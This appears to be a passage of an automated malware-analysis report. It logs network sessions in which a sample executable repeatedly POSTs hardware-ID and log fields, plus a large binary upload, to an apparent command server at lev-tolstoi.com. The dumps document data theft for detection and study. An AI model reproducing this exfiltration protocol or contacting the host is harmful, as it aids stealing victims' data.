Data Ascii: rvlo9s9VkUYjXdKe5DDsp+UW9ji6YH+NS/jrKXK1kp8v+LpjncfAkqEYQMu1uy5uIlLzP+umbYhZ+ml5pOSQ2G15uuLclBIBIV/TnOZwaeZl13V5uWU+DUj4q2uwNgAIPzu+8MlH3kHjHlAYNbU+4jZV9Kptsb0NifhparA2kFisu7minVXXguHcUJ4mcqxlJxU2e3oibh2Z+mx5pOSb0mJq8K5PUACE8N+TzbOi7mSlVjR7+eK8jEs4qKix9tF
2024-12-28 08:56:36 UTC	913	IN	Data Raw: 4b 46 62 31 68 46 47 49 31 30 54 48 36 65 77 72 53 56 6e 46 33 59 35 65 53 48 2f 7a 59 70 35 75 6e 6f 69 39 56 59 4c 75 53 70 77 70 4e 6d 54 56 6f 48 6f 6e 52 4d 4e 6f 6d 46 72 4e 47 65 58 4a 36 78 72 6f 2f 71 50 43 72 38 6f 4b 48 46 33 55 4e 38 76 65 54 6f 6b 58 70 51 53 41 32 50 66 30 78 77 6c 38 36 2f 6e 5a 35 56 31 65 62 69 78 72 5a 34 49 50 62 70 2f 6f 76 38 53 33 32 72 36 75 32 49 61 30 51 4d 46 63 31 67 41 33 47 61 69 2b 33 52 6d 6c 76 56 37 65 36 4b 2b 44 77 71 37 72 75 70 7a 4e 56 4a 5a 61 37 6a 35 49 52 32 56 30 63 46 68 57 74 50 65 49 54 4f 70 34 50 5a 48 70 37 75 39 73 61 67 65 42 48 70 75 62 62 49 6b 48 46 34 76 2f 2f 6f 6a 6e 45 66 55 30 53 61 4f 55 52 36 31 70 50 31 6c 35 5a 5a 33 65 62 76 6a 2f 51 31 49 75 65 73 70 38 33 57 53 6d 53 38 37 Data Ascii: KFb1hFGI10TH6ewrSVnF3Y5eSH/zYp5unoi9VYLuSpwpNmTVoHonRMNomFrNGeXJ6xro/qPCr8oKHF3UN8veTokXpQSA2Pf0xwl86/nZ5V1ebixrZ4IPbp/ov8S32r6u2Ia0QMFc1gA3Gai+3RmlvV7e6K+Dwq7rupzNVJZa7j5IR2V0cFhWtPeITOp4PZHp7u9sageBHpubbIkHF4v//ojnEfU0SaOUR61pP1l5ZZ3ebvj/Q1Iuesp83WSmS87
2024-12-28 08:56:36 UTC	1369	IN	Data Raw: 33 34 39 33 0d 0a 72 61 57 6b 46 62 56 36 75 53 4a 2f 7a 34 6a 37 71 4b 68 78 64 52 46 5a 62 57 70 72 63 4e 36 52 77 78 53 77 31 39 67 5a 49 54 35 75 35 4b 43 45 4d 47 6e 39 38 62 2f 4e 47 65 32 36 61 33 44 33 56 4a 72 74 65 48 6e 69 6e 31 62 52 67 65 45 65 55 5a 37 6b 38 2b 37 6c 5a 35 51 30 75 62 70 6a 76 63 38 4a 2b 48 70 36 49 76 56 57 43 37 6b 71 63 4f 49 61 33 35 43 41 5a 45 35 58 44 69 50 69 37 4b 64 32 51 69 65 35 2b 65 48 38 44 59 72 35 71 32 30 79 39 6c 4a 59 62 33 6d 34 34 42 38 56 55 51 59 68 58 6c 49 66 70 48 44 73 5a 2b 4c 55 64 47 70 6f 4d 62 2f 49 47 65 32 36 5a 66 64 31 55 64 68 2f 73 44 6b 6d 48 78 56 54 77 47 50 4f 56 77 34 6a 34 75 79 6e 64 6b 49 6e 75 54 69 69 2f 77 71 4b 2b 36 70 72 38 7a 59 55 6d 47 7a 35 4f 43 44 65 45 31 4e 47 49 Data Ascii: 3493raWkFbV6uSJ/z4j7qKhxdRFZbWprcN6RwxSw19gZIT5u5KCEMGn98b/NGe26a3D3VJrteHnin1bRgeEeUZ7k8+7lZ5Q0ubpjvc8J+Hp6IvVWC7kqcOIa35CAZE5XDiPi7Kd2Qie5+eH8DYr5q20y9lJYb3m44B8VUQYhXlIfpHDsZ+LUdGpoMb/IGe26Zfd1Udh/sDkmHxVTwGPOVw4j4uyndkInuTii/wqK+6pr8zYUmGz5OCDeE1NGI
2024-12-28 08:56:36 UTC	1369	IN	Data Raw: 6b 63 79 2b 67 35 4a 43 31 65 48 74 69 50 41 78 4a 2b 43 70 70 38 62 53 41 43 44 38 37 76 76 44 4a 52 39 70 4b 5a 52 76 53 54 53 31 33 4b 4f 62 6e 6c 7a 49 34 75 2b 46 37 6a 55 33 72 75 66 6d 32 74 56 52 4c 75 54 2f 38 35 52 36 51 41 49 54 77 33 35 50 4e 73 36 4c 76 70 36 58 58 64 58 74 35 34 50 77 4f 79 4c 72 6f 36 72 48 30 30 68 6e 74 75 7a 6d 68 58 64 63 51 67 57 43 64 55 64 2f 6d 4d 4c 31 33 39 6c 58 78 71 6d 32 78 73 34 6f 49 50 61 6b 74 6f 6e 67 51 33 2b 74 2f 4f 36 54 65 78 31 6a 43 59 39 36 52 6e 47 47 69 36 72 66 67 42 44 5a 35 61 37 65 75 44 67 6a 34 71 71 68 78 64 31 4e 59 62 76 69 37 49 6c 7a 54 55 4d 50 69 33 56 4c 65 34 54 42 76 34 4f 51 57 64 50 6e 35 70 54 37 65 47 6d 75 72 72 36 4c 69 67 42 63 74 75 72 76 6c 58 42 51 44 42 58 4e 59 41 4e Data Ascii: kcy+g5JC1eHtiPAxJ+Cpp8bSACD87vvDJR9pKZRvSTS13KObnlzI4u+F7jU3rufm2tVRLuT/85R6QAITw35PNs6Lvp6XXdXt54PwOyLro6rH00hntuzmhXdcQgWCdUd/mML139lXxqm2xs4oIPaktongQ3+t/O6Tex1jCY96RnGGi6rfgBDZ5a7euDgj4qqhxd1NYbvi7IlzTUMPi3VLe4TBv4OQWdPn5pT7eGmurr6LigBcturvlXBQDBXNYAN
2024-12-28 08:56:36 UTC	1369	IN	Data Raw: 70 2b 66 55 4a 36 6e 72 6f 6d 34 59 42 36 75 34 65 62 30 6e 41 42 32 2f 4c 47 6a 74 6e 35 52 51 67 32 56 61 41 35 56 67 64 32 2f 69 74 74 32 32 66 6a 6e 6b 50 55 71 5a 36 44 70 6f 49 75 4b 45 43 44 38 37 66 4c 44 4a 51 38 65 55 64 59 71 46 43 62 45 31 50 75 49 32 55 61 65 73 62 7a 49 75 43 70 6e 74 75 6e 68 79 4d 42 53 61 4c 2f 2f 34 4d 52 44 59 57 77 42 6c 58 68 4f 66 5a 72 31 69 34 53 61 58 74 44 75 2b 4a 65 34 64 6d 66 68 36 66 37 79 6b 67 67 75 67 36 65 6a 6d 7a 30 48 44 44 2b 41 64 30 31 78 67 4e 72 34 73 5a 4a 47 33 2b 54 6c 69 72 6f 35 4b 76 36 75 35 6f 57 53 52 69 37 6b 75 61 33 44 65 55 34 4d 55 74 4d 72 47 43 50 46 6e 4f 58 44 68 68 37 48 71 66 6a 47 6f 47 70 70 72 72 76 6d 6b 35 49 48 62 61 37 37 35 59 42 72 58 41 73 30 76 56 6c 49 65 70 58 48 Data Ascii: p+fUJ6nrom4YB6u4eb0nAB2/LGjtn5RQg2VaA5Vgd2/itt22fjnkPUqZ6DpoIuKECD87fLDJQ8eUdYqFCbE1PuI2UaesbzIuCpntunhyMBSaL//4MRDYWwBlXhOfZr1i4SaXtDu+Je4dmfh6f7ykggug6ejmz0HDD+Ad01xgNr4sZJG3+Tliro5Kv6u5oWSRi7kua3DeU4MUtMrGCPFnOXDhh7HqfjGoGpprrvmk5IHba775YBrXAs0vVlIepXH
2024-12-28 08:56:36 UTC	1369	IN	Data Raw: 54 50 71 62 62 57 71 6d 4e 79 76 66 37 32 6d 63 30 4f 64 2f 7a 2f 6f 39 73 76 45 51 77 59 77 79 45 44 4d 5a 58 5a 70 35 65 61 52 74 32 75 30 4c 6a 65 4f 79 44 6f 71 71 6a 63 77 77 4a 42 76 2b 4c 76 6a 33 70 4a 63 6a 53 57 65 6b 31 34 6b 64 32 6b 30 64 63 51 30 61 6d 32 76 37 67 70 4c 65 6e 6c 37 6f 66 44 55 32 43 33 2f 2b 54 44 51 68 45 4d 45 73 4d 68 41 30 4f 56 78 62 75 57 6a 30 47 54 7a 2b 32 42 2f 6a 73 70 2b 62 6a 6d 68 5a 4a 47 4c 75 53 37 72 63 4e 35 54 67 78 53 30 79 73 59 49 38 57 63 35 63 4f 47 48 73 65 70 2b 4d 61 67 61 32 6d 75 75 2b 61 54 6b 67 64 67 73 65 6a 67 6a 58 35 4e 58 67 79 41 62 30 41 78 71 50 57 51 6e 4a 52 56 30 4f 37 51 75 4e 6b 79 4e 2b 4f 6d 6f 66 58 73 64 33 2b 37 2b 61 47 6c 66 6b 6c 50 53 73 30 35 57 7a 62 4f 69 35 53 62 69 Data Ascii: TPqbbWqmNyvf72mc0Od/z/o9svEQwYwyEDMZXZp5eaRt2u0LjeOyDoqqjcwwJBv+Lvj3pJcjSWek14kd2k0dcQ0am2v7gpLenl7ofDU2C3/+TDQhEMEsMhA0OVxbuWj0GTz+2B/jsp+bjmhZJGLuS7rcN5TgxS0ysYI8Wc5cOGHsep+Maga2muu+aTkgdgsejgjX5NXgyAb0AxqPWQnJRV0O7QuNkyN+OmofXsd3+7+aGlfklPSs05WzbOi5Sbi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49721	172.67.157.254	443	7364	C:\Users\user\Desktop\TdloJt4gY3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:56:38 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ML3MCX36KPTI9L3HW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12847 Host: lev-tolstoi.com
2024-12-28 08:56:38 UTC	12847	OUT	Data Raw: 2d 2d 4d 4c 33 4d 43 58 33 36 4b 50 54 49 39 4c 33 48 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 34 32 42 39 31 31 42 35 39 34 34 32 31 39 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4d 4c 33 4d 43 58 33 36 4b 50 54 49 39 4c 33 48 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 4c 33 4d 43 58 33 36 4b 50 54 49 39 4c 33 48 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --ML3MCX36KPTI9L3HWContent-Disposition: form-data; name="hwid"9F42B911B5944219BEBA0C6A975F1733--ML3MCX36KPTI9L3HWContent-Disposition: form-data; name="pid"2--ML3MCX36KPTI9L3HWContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-28 08:56:39 UTC	1133	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 08:56:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=km1ffo3eoabig22gh0an33h6vt; expires=Wed, 23 Apr 2025 02:43:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1T%2BRZrq8i%2BVz0hDSW876bo6m9k%2BfxHPBkVBChVaTc%2FZDs4V37TgJ%2FVRjAlDd7ZRVzw47gj6T5thQA8amB%2BkptwJZ7jvQpevnToEfy7ihZXilnxzIxV9InoioYY0ryrX1Euc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f905697ea825e73-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1730&min_rtt=1725&rtt_var=658&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2835&recv_bytes=13785&delivery_rate=1650650&cwnd=201&unsent_bytes=0&cid=9ac1735813c89c8b&ts=1015&x=0"
2024-12-28 08:56:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 08:56:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49727	172.67.157.254	443	7364	C:\Users\user\Desktop\TdloJt4gY3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:56:40 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GY4SUDS0NS3RX3WA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15053 Host: lev-tolstoi.com
2024-12-28 08:56:40 UTC	15053	OUT	Data Raw: 2d 2d 47 59 34 53 55 44 53 30 4e 53 33 52 58 33 57 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 34 32 42 39 31 31 42 35 39 34 34 32 31 39 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 47 59 34 53 55 44 53 30 4e 53 33 52 58 33 57 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 47 59 34 53 55 44 53 30 4e 53 33 52 58 33 57 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --GY4SUDS0NS3RX3WAContent-Disposition: form-data; name="hwid"9F42B911B5944219BEBA0C6A975F1733--GY4SUDS0NS3RX3WAContent-Disposition: form-data; name="pid"2--GY4SUDS0NS3RX3WAContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-28 08:56:41 UTC	1123	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 08:56:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kik9knq03qe4c90f6a6qva57e8; expires=Wed, 23 Apr 2025 02:43:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wmdk4w0TGiiXjD1YjziAd0OEBRz%2BtEGbnKZObMmAatNVaXIZeSZxhMlAJU2TYPqVFKMfoIS81ht2xjOhr36qGLwSefChAdjYlXqdd5hZbQHAyofS874rSrFvWqm4JIk2qUY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9056a6a8854228-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1718&min_rtt=1713&rtt_var=654&sent=11&recv=18&lost=0&retrans=0&sent_bytes=2835&recv_bytes=15990&delivery_rate=1660034&cwnd=209&unsent_bytes=0&cid=dc41ec60e52543d6&ts=996&x=0"
2024-12-28 08:56:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 08:56:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49735	172.67.157.254	443	7364	C:\Users\user\Desktop\TdloJt4gY3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:56:43 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NAKMJB5K User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20374 Host: lev-tolstoi.com
2024-12-28 08:56:43 UTC	15331	OUT	Data Raw: 2d 2d 4e 41 4b 4d 4a 42 35 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 34 32 42 39 31 31 42 35 39 34 34 32 31 39 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4e 41 4b 4d 4a 42 35 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4e 41 4b 4d 4a 42 35 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4e 41 4b 4d 4a 42 35 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --NAKMJB5KContent-Disposition: form-data; name="hwid"9F42B911B5944219BEBA0C6A975F1733--NAKMJB5KContent-Disposition: form-data; name="pid"3--NAKMJB5KContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--NAKMJB5KContent-Di
2024-12-28 08:56:43 UTC	5043	OUT	Data Raw: a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d ae 2f 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 f5 47 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 be 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 d7 1f 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 fa a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b 5c 5f f0 eb b1 64 f0 72 3c 78 39 f8 d7 c1 d7 cd 07 00 00 00 00 00 00 Data Ascii: M/64G6(X&~`aO\_dr<x9
2024-12-28 08:56:44 UTC	1130	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 08:56:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3n38rbd8jrit83kbdkc549jdqm; expires=Wed, 23 Apr 2025 02:43:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aKRe1g93Oj%2FxmK2p%2BF7JAdiT5zlxoA8yKmj53qqBa9%2F5zjgz5JhTrSmLb0euJQVzKCHQn1Xllxm7pVZT2%2FhxK2sSuGkHWGagczsFaUXjx6hiq2he255H44gR3nclKPH1cJI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9056b6590f4239-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1865&min_rtt=1865&rtt_var=700&sent=14&recv=26&lost=0&retrans=0&sent_bytes=2835&recv_bytes=21325&delivery_rate=1565683&cwnd=232&unsent_bytes=0&cid=89056767a81ca3d0&ts=1000&x=0"
2024-12-28 08:56:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 08:56:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49743	172.67.157.254	443	7364	C:\Users\user\Desktop\TdloJt4gY3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:56:45 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JMREUP0Y357 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1203 Host: lev-tolstoi.com
2024-12-28 08:56:45 UTC	1203	OUT	Data Raw: 2d 2d 4a 4d 52 45 55 50 30 59 33 35 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 34 32 42 39 31 31 42 35 39 34 34 32 31 39 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4a 4d 52 45 55 50 30 59 33 35 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 4d 52 45 55 50 30 59 33 35 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4a 4d 52 45 55 50 30 59 33 35 37 Data Ascii: --JMREUP0Y357Content-Disposition: form-data; name="hwid"9F42B911B5944219BEBA0C6A975F1733--JMREUP0Y357Content-Disposition: form-data; name="pid"1--JMREUP0Y357Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--JMREUP0Y357
2024-12-28 08:56:46 UTC	1124	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 08:56:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8filr6c52b0dfjca4l67fa5n7t; expires=Wed, 23 Apr 2025 02:43:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8RjWGAoP%2Fh7%2B0H7vwOuvhUOSUUgW%2FCMnSOMJIMaCs6QXqtfmqJ79yoYjsdwK22TwbdGSe20avoyQj1rIcCWLWx3wnyX1QsAC4Hv2aFHMLsBMQnXE0oIdDM9s4ZdFgrThyvk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9056c6ba830f4f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1651&min_rtt=1648&rtt_var=625&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2112&delivery_rate=1740166&cwnd=239&unsent_bytes=0&cid=d5c2cfffe585e847&ts=773&x=0"
2024-12-28 08:56:46 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 08:56:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49754	172.67.157.254	443	7364	C:\Users\user\Desktop\TdloJt4gY3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:56:48 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZDBV6P2Y3OF6CEKTSP7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569932 Host: lev-tolstoi.com
2024-12-28 08:56:48 UTC	15331	OUT	Data Raw: 2d 2d 5a 44 42 56 36 50 32 59 33 4f 46 36 43 45 4b 54 53 50 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 34 32 42 39 31 31 42 35 39 34 34 32 31 39 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 5a 44 42 56 36 50 32 59 33 4f 46 36 43 45 4b 54 53 50 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 44 42 56 36 50 32 59 33 4f 46 36 43 45 4b 54 53 50 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --ZDBV6P2Y3OF6CEKTSP7Content-Disposition: form-data; name="hwid"9F42B911B5944219BEBA0C6A975F1733--ZDBV6P2Y3OF6CEKTSP7Content-Disposition: form-data; name="pid"1--ZDBV6P2Y3OF6CEKTSP7Content-Disposition: form-data; name="lid"LOGS11--Li
2024-12-28 08:56:48 UTC	15331	OUT	Data Raw: 33 06 74 ff db 59 79 7f 39 0a 78 cf bd f9 59 f1 86 8c 85 e1 4b 6a 75 c5 6d aa 4e 15 2f d1 c0 e4 0a f0 3e a7 00 8e 32 d4 e8 75 4e 0c a6 41 83 71 14 f5 34 8a be 22 ac 0f fe bf dd e2 73 68 7a bd f1 ef ed 43 ea 5c 50 c5 30 04 57 e9 00 15 68 52 70 43 f2 60 4c 30 86 3a f4 36 85 80 74 b9 f7 e2 9a b8 be 9d 85 a7 be b3 6a c0 16 83 9e 83 48 73 bf 8a dc d7 01 83 e6 55 9b 7c 5e 60 ac e9 86 78 3e c4 ed 4b ec 6c a2 de e6 b3 1d 0a d5 70 23 bf ff 20 50 8e d6 e2 4a 15 a5 d2 47 99 eb 53 c2 5b be 62 54 3f 49 8b 4c a7 ac 3d c9 9e a4 f8 39 3b 90 a3 b9 bb 66 67 1f 7e f9 30 8a 99 d1 ce 19 af 2a 4c 60 b9 14 70 87 c6 6c f3 9b 50 fe ec a4 9d 17 e3 26 e0 d4 6f 20 13 3b 24 6e 1b a9 b2 34 1e db 3f 4d d3 51 a4 ca 0d c0 e6 8c b9 7f fe 10 53 50 8a 56 06 57 ef e9 96 6f 7d fb 41 1d e4 5e Data Ascii: 3tYy9xYKjumN/>2uNAq4"shzC\P0WhRpC`L0:6tjHsU\|^`x>Klp# PJGS[bT?IL=9;fg~0*L`plP&o ;$n4?MQSPVWo}A^
